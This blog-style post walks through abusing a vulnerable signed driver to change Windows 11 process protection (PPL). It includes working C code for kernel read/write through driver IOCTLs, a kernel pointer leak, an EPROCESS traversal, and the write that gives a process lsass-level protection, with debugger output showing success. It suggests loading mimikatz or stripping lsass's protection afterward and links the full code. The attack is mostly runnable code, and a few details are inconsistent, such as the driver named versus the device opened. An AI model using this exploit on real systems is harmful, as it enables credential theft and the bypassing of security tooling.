# Disabling PPL with a LOLDriver

# Outline

As I keep looking into this windows 11 thing I wanted to have a go at disabling PPL by using a LOLDriver as that seems to be a thing APTs are doing. Also going to see if there are any difference to the general windows 10 kernel exploitation setup functions.

# The issue

What is PPL and why is it annoying? A while ago windows thought it would be a good idea to implement some form of access control around process handles and implemented Protected Process. With this came 3 Protection levels; Protected Process, Protected Process Light (PPL) and none. When a process requests a handle to a different process the kernel will check what level each process is and will only grant access if the process is of equal level or higher. So a PPL process can access a none process and a PPL process but not a Protected Process.

So why not just create a process with the level Protected Process and call it a day? To do this the process has to be signed by Microsoft and pass a few other checks.

So instead of trying to target this from userland, why dont we look at it from the kernel. Enter LOLDrivers.

Living Of the Land Drivers (LOLDrivers) are (normally) thrid party drivers that contain a vulnerability or abusable feature allowing for kernel primitives, such as a read and/or write. These drivers are also signed allowing to load them with sc.exe.

There is a project which has a heap of them to use: https://www.loldrivers.io/ (most are blocked by default but maybe one or two are not :) )

Just like most things related to process the Protection level can be found within the EPROCESS structure under _PS_PROTECTION Looking at the structures in windbg we can verify this and get the offsets.

0: kd> dt nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x1c8 ProcessLock      : _EX_PUSH_LOCK
   +0x1d0 UniqueProcessId  : Ptr64 Void
   +0x1d8 ActiveProcessLinks : _LIST_ENTRY
   ... snip ...
   +0x5fa Protection       : _PS_PROTECTION

0: kd> dt nt!_PS_PROTECTION
   +0x000 Level            : UChar
   +0x000 Type             : Pos 0, 3 Bits
   +0x000 Audit            : Pos 3, 1 Bit
   +0x000 Signer           : Pos 4, 4 Bits

Lets check the levels of 2 process, a random cmd.exe spawned by a non admin user and lsass.exe

0: kd> !process 0 0
**** NT ACTIVE PROCESS DUMP ****
PROCESS ffffbd0390690040
    SessionId: none  Cid: 0004    Peb: 00000000  ParentCid: 0000
    DirBase: 001ae000  ObjectTable: ffff998c372d1e80  HandleCount: 3430.
    Image: System
... snip ...
PROCESS ffffbd0393876080
    SessionId: none  Cid: 0330    Peb: c9756bd000  ParentCid: 0294
    DirBase: 263526000  ObjectTable: ffff998c3763fc40  HandleCount: 1656.
    Image: lsass.exe
... snip ...
PROCESS ffffbd0396fad080
    SessionId: none  Cid: 1d2c    Peb: e8b9d89000  ParentCid: 1278
    DirBase: 1c7b10000  ObjectTable: ffff998c40813480  HandleCount:  74.
    Image: cmd.exe

# Check lsass:
0: kd> dt nt!_PS_PROTECTION ffffbd0393876080+5fa
   +0x000 Level            : 0x41 'A'
   +0x000 Type             : 0y001
   +0x000 Audit            : 0y0
   +0x000 Signer           : 0y0100

# Check cmd:
0: kd> dt nt!_PS_PROTECTION ffffbd0396fad080+5fa
   +0x000 Level            : 0 ''
   +0x000 Type             : 0y000
   +0x000 Audit            : 0y0
   +0x000 Signer           : 0y0000

Looking into the Type and Signer field for the structure gives us a bit more information:

0: kd> dt nt!_PS_PROTECTED_TYPE
   PsProtectedTypeNone = 0n0
   PsProtectedTypeProtectedLight = 0n1
   PsProtectedTypeProtected = 0n2
   PsProtectedTypeMax = 0n3

0: kd> dt nt!_PS_PROTECTED_SIGNER
   PsProtectedSignerNone = 0n0
   PsProtectedSignerAuthenticode = 0n1
   PsProtectedSignerCodeGen = 0n2
   PsProtectedSignerAntimalware = 0n3
   PsProtectedSignerLsa = 0n4
   PsProtectedSignerWindows = 0n5
   PsProtectedSignerWinTcb = 0n6
   PsProtectedSignerWinSystem = 0n7
   PsProtectedSignerApp = 0n8
   PsProtectedSignerMax = 0n9

So lsass would be a PPL process signed with lsa. With the above in mind if we are able to change the memory for cmd.exe to be the same as lsass we would be able to get access to the process.

# How to weaponise a driver

For this we need to find an arbitrary write primitive in a driver with a valid signature that we can abuse. Picking a random driver from loldrivers (link) i picked wnbios.sys. It is being used in the RealBlindingEDR so we can use the same ioctl to get an arb read and write. (weaponising a driver is sorta just a side point right now.)

Super quick overview of how drivers work.

To talk to drivers you use IOCTLs which take input run a code path in the kernel and sometimes give output. If an IOCTL does not verify the data that is being passed into it you might be able to get powerful kernel primitives.

# Weaponising the driver

Looking at the source code we can copy the read and write primitives (I'm to lazy to find and then burn a driver Nday for a blog :D ):

struct DellBuff {
	ULONGLONG pad1 = 0x4141414141414141;
	ULONGLONG Address = 0;
	ULONGLONG three1 = 0x0000000000000000;
	ULONGLONG value = 0x0000000000000000;
} DellBuff;

DWORD64 DellRead(VOID* Address) {
	struct DellBuff ReadBuff = {};
	ReadBuff.Address = (DWORD64)Address;
	DWORD BytesRead = 0;
	BOOL success = DeviceIoControl(hDevice, 0x9B0C1EC4, &ReadBuff, sizeof(ReadBuff), &ReadBuff, sizeof(ReadBuff), &BytesRead, NULL);
	if (!success) {
		printf("Memory read failed. 1\n");
		CloseHandle(hDevice);
	}

	//printf("%d\n", BytesRead);
	return ReadBuff.value;
}


VOID DellWrite(VOID* Address, LONGLONG value) {
	struct DellBuff WriteBuff = {};
	WriteBuff.Address = (DWORD64)Address;
	WriteBuff.value = value;
	DWORD BytesRead = 0;
	BOOL success = DeviceIoControl(hDevice, 0x9B0C1EC8, &WriteBuff, sizeof(WriteBuff), &WriteBuff, sizeof(WriteBuff), &BytesRead, NULL);
	if (!success) {
		printf("Memory read failed. 2\n");
		CloseHandle(hDevice);
	}
	//printf("%d\n", BytesRead);
}

Unlike windbg we are not able to find the eprocess of random processes instead we have to traverse them via the ActiveProcessLinks element of the EProcess structure. We can then check the PID to make sure it is the right process:

+0x1d0 UniqueProcessId  : Ptr64 Void
+0x1d8 ActiveProcessLinks : _LIST_ENTRY

We can use NtQuerySystemInformation to get the base of the eprocess structure for the kernel then iterate from there using the read primitive.

Before that, a quick note: Since windows 11 24H2 NtQuerySystemInformation will no longer return a kernel pointer unless the process is running with SeDebugPrivilege enabled. https://windows-internals.com/kaslr-leaks-restriction/

So let's also add that. (As this already assumes you are admin)

LSTATUS RequirePrivilege(LPCTSTR lpPrivilege) {
	HANDLE hToken;
	BOOL bErr = FALSE;
	TOKEN_PRIVILEGES tp;
	LUID luid;

	bErr = LookupPrivilegeValue(NULL, lpPrivilege, &luid); // lookup LUID for privilege on local system
	if (bErr != TRUE) {
		return -1;
	}
	bErr = OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken);
	if (bErr != TRUE) {
		return -2;

	}

	if (ANYSIZE_ARRAY != 1) {
		return -3;
	}
	tp.PrivilegeCount = 1; // only adjust one privilege
	tp.Privileges[0].Luid = luid;
	tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

	bErr = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
	// check GetLastError() to check if privilege has been changed
	if (bErr != TRUE || GetLastError() != ERROR_SUCCESS) {
		printf("AdjustTokenPriv failed with error: %d\n", GetLastError());
		return -4;
	}
	printf("[+] Added privilege\n");
	CloseHandle(hToken);
	return 0;
}

Kernel leak:

#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 1024 * 1024 * 2

typedef NTSTATUS(WINAPI* fnNtQuerySystemInformation)(
	SYSTEM_INFORMATION_CLASS SystemInformationClass,
	PVOID                    SystemInformation,
	ULONG                    SystemInformationLength,
	PULONG                   ReturnLength
	);

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
	USHORT UniqueProcessId;
	USHORT CreatorBackTraceIndex;
	UCHAR ObjectTypeIndex;
	UCHAR HandleAttributes;
	USHORT HandleValue;
	PVOID Object;
	ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION
{
	ULONG NumberOfHandles;
	SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef ULONGLONG QWORD;
QWORD get_systemeproc() {
	ULONG returnedlength = 0;
	fnNtQuerySystemInformation NtQuerySystemInformation = (fnNtQuerySystemInformation)GetProcAddress(GetModuleHandle(TEXT("NTDLL")), "NtQuerySystemInformation");
	PSYSTEM_HANDLE_INFORMATION handleTableInformation = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, SystemHandleInformationSize);

	NtQuerySystemInformation(SystemHandleInformation, handleTableInformation, SystemHandleInformationSize, &returnedlength);
	SYSTEM_HANDLE_TABLE_ENTRY_INFO HandleInfo = handleTableInformation->Handles[0];
	return (QWORD)HandleInfo.Object;
}

Then the loop to find the eprocess for our PID.

int main(int arc, char* argv[]) {

	int result = RequirePrivilege(TEXT("SeDebugPrivilege"));
	if (result != 0) {
		printf("Priv failed with error %d\n", result);
		return -1;
	}

	hDriver = CreateFileA("\\\\.\\DBUtil_2_3", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

	QWORD system_eproc = get_systemeproc();
	printf("[+] System eproc value: 0x%llx\n", system_eproc);
	QWORD current_eproc = system_eproc;
	DWORD program_pid = GetCurrentProcessId();

	DWORD current_pid = 0;

	while (TRUE) {
		printf("[+] Reading value from: 0x%llX\n", current_eproc + (QWORD)ActiveProcessLinks_offset);
		current_eproc = DellRead(current_eproc + (QWORD)ActiveProcessLinks_offset);
		printf("[+] ForwardLinked value: 0x%llX\n", current_eproc);
		current_eproc -= ActiveProcessLinks_offset;

		printf("[+] New EProcess Value: 0x%llX\n", current_eproc);

		current_pid = DellRead(current_eproc + UniqueProcessId_offset);
		if (current_pid == program_pid) {
			printf("[+] Found program pid\n");
			break; // use the current_eproc value
		}
	}
	printf("[+] EProcess Value for running process: 0x%llX\n", current_eproc);
	getchar();

}

We can run this with a debugger hooked up to check if the read and offsets are correct.

.\loldriver_client.exe
[+] Added privilege
PID: 4
Pointer: ffff8b064c68c040
[+] System eproc value: 0xffff8b064c68c040
[+] Reading value from: 0xFFFF8B064C68C218
[+] ForwardLinked value: 0xFFFF8B064C7A9258
[+] New EProcess Value: 0xFFFF8B064C7A9080
... snip ...
[+] EProcess Value for running process: 0xFFFF8B0652D3C080

--- debuger ---
PROCESS ffff8b0652d3c080
    SessionId: none  Cid: 26d0    Peb: a488481000  ParentCid: 0550
    DirBase: 1969b7000  ObjectTable: ffffe406a567a680  HandleCount:  67.
    Image: loldriver_client.exe

Now we can read the 8 bytes which will include the protection level and update the process to be the same level as lsass.exe

+0x5fa Protection       : _PS_PROTECTION
typedef union {
	struct 
	{
		char Protection;
		uint8_t padding[7];
	};
	QWORD qword;
} ProtectionQword;

	ProtectionQword protectionqword = { 0 };
	protectionqword.qword =  DellRead(current_eproc + (QWORD)Protection_offset);

	printf("Proteciton qword: 0x%016llx\n", protectionqword.qword);
	printf("Current protection level: 0x%X (%c)\n", protectionqword.Protection, protectionqword.Protection);

	protectionqword.Protection = 'A';

	DellWrite(current_eproc + (QWORD)Protection_offset, protectionqword.qword);
	printf("Written data.\n");

	getchar();

Output:

[+] EProcess Value for running process: 0xFFFF8B0652872080
Proteciton qword: 0x00000040c0000000
Current protection level: 0x0 ( )
Written data.

--- debugger ---
0: kd> dt nt!_PS_PROTECTION 0xFFFF8B0652872080+0x5fa
   +0x000 Level            : 0x41 'A'
   +0x000 Type             : 0y001
   +0x000 Audit            : 0y0
   +0x000 Signer           : 0y0100

TaDa! From here you can load mimikatz in the process or do do whatever you need to do. You could also just set Lsass.exe to have a protection level of 0.

Full code: https://github.com/ElJayRight/Driver_Exploits/tree/main/Disable_PPL

# Closing Thoughts

As always this is just one way of modifying PPL. You could also target the Driver signing enforcement structure and null that out and load your own driver which disables PPL. Another idea would be to just copy the process token of lsass and spawn a mimikatz that way. The offset is _EPROCESS is:

+0x248 Token            : _EX_FAST_REF

# Resources used while researching this stuff